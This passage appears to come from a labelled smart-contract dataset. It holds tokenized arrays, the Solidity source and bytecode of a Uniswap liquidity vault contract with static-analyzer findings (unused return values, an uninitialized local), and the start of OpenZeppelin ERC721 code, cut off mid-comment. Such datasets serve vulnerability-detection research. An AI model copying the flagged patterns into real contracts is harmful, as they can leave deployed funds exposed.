1012,
1015,
1006,
21183,
12146,
1013,
24094,
1012,
14017,
1007,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
1013,
1008,
1008,
1008,
1030,
2516,
24094,
1008,
1030,
3166,
4717,
25805,
2078,
1006,
1030,
23822,
1007,
1008,
1030,
16475,
3640,
24094,
2008,
2064,
2069,
2022,
4297,
28578,
14088,
1010,
11703,
28578,
14088,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,431 | 0x95257935915d1bab38993ff26c1a1eb839657cef | // SPDX-License-Identifier: MIT
pragma solidity =0.6.12;
interface IWETH {
function deposit() external payable;
function transfer(address to, uint256 value) external returns (bool);
function withdraw(uint256) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint256);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function migrator() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
function setMigrator(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(address indexed sender, uint256 amount0, uint256 amount1, address indexed to);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function burn(address to) external returns (uint256 amount0, uint256 amount1);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
library SafeMathUniswap {
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x, "ds-math-add-overflow");
}
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x, "ds-math-sub-underflow");
}
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(y == 0 || (z = x * y) / y == x, "ds-math-mul-overflow");
}
}
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), "TransferHelper: APPROVE_FAILED");
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), "TransferHelper: TRANSFER_FAILED");
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), "TransferHelper: TRANSFER_FROM_FAILED");
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, "TransferHelper: ETH_TRANSFER_FAILED");
}
}
library UniswapV2Library {
using SafeMathUniswap for uint256;
// returns sorted token addresses, used to handle return values from pairs sorted in this order
function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
require(tokenA != tokenB, "MaidCoinAuctionVault: IDENTICAL_ADDRESSES");
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), "MaidCoinAuctionVault: ZERO_ADDRESS");
}
// calculates the CREATE2 address for a pair without making any external calls
function pairFor(
address factory,
address tokenA,
address tokenB
) internal pure returns (address pair) {
(address token0, address token1) = sortTokens(tokenA, tokenB);
pair = address(
uint256(
keccak256(
abi.encodePacked(
hex"ff",
factory,
keccak256(abi.encodePacked(token0, token1)),
hex"e18a34eb0e04b04f7a0ac29a6e80748dca96319b42c54d679cb821dca90c6303" // init code hash
)
)
)
);
}
// fetches and sorts the reserves for a pair
function getReserves(
address factory,
address tokenA,
address tokenB
) internal view returns (uint256 reserveA, uint256 reserveB) {
(address token0, ) = sortTokens(tokenA, tokenB);
(uint256 reserve0, uint256 reserve1, ) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves();
(reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
}
// given some amount of an asset and pair reserves, returns an equivalent amount of the other asset
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) internal pure returns (uint256 amountB) {
require(amountA > 0, "MaidCoinAuctionVault: INSUFFICIENT_AMOUNT");
require(reserveA > 0 && reserveB > 0, "MaidCoinAuctionVault: INSUFFICIENT_LIQUIDITY");
amountB = amountA.mul(reserveB) / reserveA;
}
// given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) internal pure returns (uint256 amountOut) {
require(amountIn > 0, "MaidCoinAuctionVault: INSUFFICIENT_INPUT_AMOUNT");
require(reserveIn > 0 && reserveOut > 0, "MaidCoinAuctionVault: INSUFFICIENT_LIQUIDITY");
uint256 amountInWithFee = amountIn.mul(997);
uint256 numerator = amountInWithFee.mul(reserveOut);
uint256 denominator = reserveIn.mul(1000).add(amountInWithFee);
amountOut = numerator / denominator;
}
// given an output amount of an asset and pair reserves, returns a required input amount of the other asset
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) internal pure returns (uint256 amountIn) {
require(amountOut > 0, "MaidCoinAuctionVault: INSUFFICIENT_OUTPUT_AMOUNT");
require(reserveIn > 0 && reserveOut > 0, "MaidCoinAuctionVault: INSUFFICIENT_LIQUIDITY");
uint256 numerator = reserveIn.mul(amountOut).mul(1000);
uint256 denominator = reserveOut.sub(amountOut).mul(997);
amountIn = (numerator / denominator).add(1);
}
// performs chained getAmountOut calculations on any number of pairs
function getAmountsOut(
address factory,
uint256 amountIn,
address[] memory path
) internal view returns (uint256[] memory amounts) {
require(path.length >= 2, "MaidCoinAuctionVault: INVALID_PATH");
amounts = new uint256[](path.length);
amounts[0] = amountIn;
for (uint256 i; i < path.length - 1; i++) {
(uint256 reserveIn, uint256 reserveOut) = getReserves(factory, path[i], path[i + 1]);
amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut);
}
}
// performs chained getAmountIn calculations on any number of pairs
function getAmountsIn(
address factory,
uint256 amountOut,
address[] memory path
) internal view returns (uint256[] memory amounts) {
require(path.length >= 2, "MaidCoinAuctionVault: INVALID_PATH");
amounts = new uint256[](path.length);
amounts[amounts.length - 1] = amountOut;
for (uint256 i = path.length - 1; i > 0; i--) {
(uint256 reserveIn, uint256 reserveOut) = getReserves(factory, path[i - 1], path[i]);
amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut);
}
}
}
contract MaidCoinAuctionVault {
event Receive(address indexed sender, uint256 value);
event AddLiquidity(
address pair,
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
address public immutable factory;
address public immutable token;
address public immutable WETH;
address public immutable owner;
constructor(
address _factory,
address _token,
address _WETH
) public {
factory = _factory;
token = _token;
WETH = _WETH;
owner = msg.sender;
}
modifier ensure(uint256 deadline) {
require(deadline >= block.timestamp, "MaidCoinAuctionVault: EXPIRED");
_;
}
receive() external payable {
emit Receive(msg.sender, msg.value);
}
function addLiquidity(
uint256 amountTokenDesired,
uint256 amountETHDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
uint256 deadline
)
external
ensure(deadline)
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
)
{
require(msg.sender == owner, "MaidCoinAuctionVault: FORBIDDEN");
(amountToken, amountETH) = _addLiquidity(
token,
WETH,
amountTokenDesired,
amountETHDesired,
amountTokenMin,
amountETHMin
);
address pair = UniswapV2Library.pairFor(factory, token, WETH);
TransferHelper.safeTransfer(token, pair, amountToken);
IWETH(WETH).deposit{value: amountETH}();
assert(IWETH(WETH).transfer(pair, amountETH));
liquidity = IUniswapV2Pair(pair).mint(address(this));
emit AddLiquidity(
pair,
amountToken,
amountETH,
liquidity
);
}
function _addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin
) internal virtual returns (uint256 amountA, uint256 amountB) {
// create the pair if it doesn't exist yet
if (IUniswapV2Factory(factory).getPair(tokenA, tokenB) == address(0)) {
IUniswapV2Factory(factory).createPair(tokenA, tokenB);
}
(uint256 reserveA, uint256 reserveB) = UniswapV2Library.getReserves(factory, tokenA, tokenB);
if (reserveA == 0 && reserveB == 0) {
(amountA, amountB) = (amountADesired, amountBDesired);
} else {
uint256 amountBOptimal = UniswapV2Library.quote(amountADesired, reserveA, reserveB);
if (amountBOptimal <= amountBDesired) {
require(amountBOptimal >= amountBMin, "MaidCoinAuctionVault: INSUFFICIENT_B_AMOUNT");
(amountA, amountB) = (amountADesired, amountBOptimal);
} else {
uint256 amountAOptimal = UniswapV2Library.quote(amountBDesired, reserveB, reserveA);
assert(amountAOptimal <= amountADesired);
require(amountAOptimal >= amountAMin, "MaidCoinAuctionVault: INSUFFICIENT_A_AMOUNT");
(amountA, amountB) = (amountAOptimal, amountBDesired);
}
}
}
} | 0x60806040526004361061004e5760003560e01c80638da5cb5b146100a8578063a360501c146100e9578063ad5c46481461016e578063c45a0155146101af578063fc0c546a146101f0576100a3565b366100a3573373ffffffffffffffffffffffffffffffffffffffff167fd6717f327e0cb88b4a97a7f67a453e9258252c34937ccbdd86de7cb840e7def3346040518082815260200191505060405180910390a2005b600080fd5b3480156100b457600080fd5b506100bd610231565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156100f557600080fd5b5061014a600480360360a081101561010c57600080fd5b810190808035906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190505050610255565b60405180848152602001838152602001828152602001935050505060405180910390f35b34801561017a57600080fd5b506101836106ed565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156101bb57600080fd5b506101c4610711565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156101fc57600080fd5b50610205610735565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b7f000000000000000000000000c8bc70bb524a142cfa87bf5dd7f72d9d205ceeb181565b600080600083428110156102d1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f4d616964436f696e41756374696f6e5661756c743a204558504952454400000081525060200191505060405180910390fd5b7f000000000000000000000000c8bc70bb524a142cfa87bf5dd7f72d9d205ceeb173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610392576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f4d616964436f696e41756374696f6e5661756c743a20464f5242494444454e0081525060200191505060405180910390fd5b6103e07f000000000000000000000000b29e76bfdf20dfc9721b426ac91f752a493ab99f7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc28b8b8b8b610759565b809450819550505060006104557f000000000000000000000000c0aee478e3658e2610c5f7a4a2e1777ce9e4f2ac7f000000000000000000000000b29e76bfdf20dfc9721b426ac91f752a493ab99f7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2610ab5565b90506104827f000000000000000000000000b29e76bfdf20dfc9721b426ac91f752a493ab99f8287610bce565b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc273ffffffffffffffffffffffffffffffffffffffff1663d0e30db0856040518263ffffffff1660e01b81526004016000604051808303818588803b1580156104ea57600080fd5b505af11580156104fe573d6000803e3d6000fd5b50505050507f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb82866040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561059457600080fd5b505af11580156105a8573d6000803e3d6000fd5b505050506040513d60208110156105be57600080fd5b81019080805190602001909291905050506105d557fe5b8073ffffffffffffffffffffffffffffffffffffffff16636a627842306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561063e57600080fd5b505af1158015610652573d6000803e3d6000fd5b505050506040513d602081101561066857600080fd5b810190808051906020019092919050505092507fbeb3885786d637a474cbc287c0a44587231633a077f0bd30354d5a4b18996fce81868686604051808573ffffffffffffffffffffffffffffffffffffffff16815260200184815260200183815260200182815260200194505050505060405180910390a15050955095509592505050565b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281565b7f000000000000000000000000c0aee478e3658e2610c5f7a4a2e1777ce9e4f2ac81565b7f000000000000000000000000b29e76bfdf20dfc9721b426ac91f752a493ab99f81565b600080600073ffffffffffffffffffffffffffffffffffffffff167f000000000000000000000000c0aee478e3658e2610c5f7a4a2e1777ce9e4f2ac73ffffffffffffffffffffffffffffffffffffffff1663e6a439058a8a6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019250505060206040518083038186803b15801561081957600080fd5b505afa15801561082d573d6000803e3d6000fd5b505050506040513d602081101561084357600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff161415610954577f000000000000000000000000c0aee478e3658e2610c5f7a4a2e1777ce9e4f2ac73ffffffffffffffffffffffffffffffffffffffff1663c9c6539689896040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561091757600080fd5b505af115801561092b573d6000803e3d6000fd5b505050506040513d602081101561094157600080fd5b8101908080519060200190929190505050505b6000806109827f000000000000000000000000c0aee478e3658e2610c5f7a4a2e1777ce9e4f2ac8b8b610db1565b915091506000821480156109965750600081145b156109aa5787878094508195505050610aa8565b60006109b7898484610eda565b9050878111610a285785811015610a19576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602b8152602001806111ae602b913960400191505060405180910390fd5b88818095508196505050610aa6565b6000610a35898486610eda565b905089811115610a4157fe5b87811015610a9a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602b815260200180611202602b913960400191505060405180910390fd5b80898096508197505050505b505b5050965096945050505050565b6000806000610ac48585610fbe565b91509150858282604051602001808373ffffffffffffffffffffffffffffffffffffffff1660601b81526014018273ffffffffffffffffffffffffffffffffffffffff1660601b8152601401925050506040516020818303038152906040528051906020012060405160200180807fff000000000000000000000000000000000000000000000000000000000000008152506001018373ffffffffffffffffffffffffffffffffffffffff1660601b8152601401828152602001807fe18a34eb0e04b04f7a0ac29a6e80748dca96319b42c54d679cb821dca90c6303815250602001925050506040516020818303038152906040528051906020012060001c925050509392505050565b600060608473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb8585604051602401808373ffffffffffffffffffffffffffffffffffffffff168152602001828152602001925050506040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040518082805190602001908083835b60208310610c915780518252602082019150602081019050602083039250610c6e565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114610cf3576040519150601f19603f3d011682016040523d82523d6000602084013e610cf8565b606091505b5091509150818015610d385750600081511480610d375750808060200190516020811015610d2557600080fd5b81019080805190602001909291905050505b5b610daa576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5472616e7366657248656c7065723a205452414e534645525f4641494c45440081525060200191505060405180910390fd5b5050505050565b6000806000610dc08585610fbe565b509050600080610dd1888888610ab5565b73ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b158015610e1657600080fd5b505afa158015610e2a573d6000803e3d6000fd5b505050506040513d6060811015610e4057600080fd5b81019080805190602001909291908051906020019092919080519060200190929190505050506dffffffffffffffffffffffffffff1691506dffffffffffffffffffffffffffff1691508273ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614610ec4578082610ec7565b81815b8095508196505050505050935093915050565b6000808411610f34576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260298152602001806111d96029913960400191505060405180910390fd5b600083118015610f445750600082115b610f99576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180611278602c913960400191505060405180910390fd5b82610fad838661111890919063ffffffff16565b81610fb457fe5b0490509392505050565b6000808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611046576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602981526020018061122d6029913960400191505060405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1610611080578284611083565b83835b8092508193505050600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611111576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806112566022913960400191505060405180910390fd5b9250929050565b600080821480611135575082828385029250828161113257fe5b04145b6111a7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f64732d6d6174682d6d756c2d6f766572666c6f7700000000000000000000000081525060200191505060405180910390fd5b9291505056fe4d616964436f696e41756374696f6e5661756c743a20494e53554646494349454e545f425f414d4f554e544d616964436f696e41756374696f6e5661756c743a20494e53554646494349454e545f414d4f554e544d616964436f696e41756374696f6e5661756c743a20494e53554646494349454e545f415f414d4f554e544d616964436f696e41756374696f6e5661756c743a204944454e544943414c5f4144445245535345534d616964436f696e41756374696f6e5661756c743a205a45524f5f414444524553534d616964436f696e41756374696f6e5661756c743a20494e53554646494349454e545f4c4951554944495459a26469706673582212202bfe2779646ef25c16f60028564c904b5a6c8b673d8c1e087f473f827cf8458e64736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
25746,
28311,
2683,
19481,
2683,
16068,
2094,
2487,
3676,
2497,
22025,
2683,
2683,
2509,
4246,
23833,
2278,
2487,
27717,
15878,
2620,
23499,
26187,
2581,
3401,
2546,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1027,
1014,
1012,
1020,
1012,
2260,
1025,
8278,
1045,
8545,
2705,
1063,
3853,
12816,
1006,
1007,
6327,
3477,
3085,
1025,
3853,
4651,
1006,
4769,
2000,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
10632,
1006,
21318,
3372,
17788,
2575,
1007,
6327,
1025,
1065,
8278,
1045,
19496,
26760,
9331,
2615,
2475,
21450,
1063,
2724,
3940,
16748,
4383,
1006,
4769,
25331,
19204,
2692,
1010,
4769,
25331,
19204,
2487,
1010,
4769,
3940,
1010,
21318,
3372,
17788,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,432 | 0x9525c4fe14addba627db8e45036767895181e559 | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
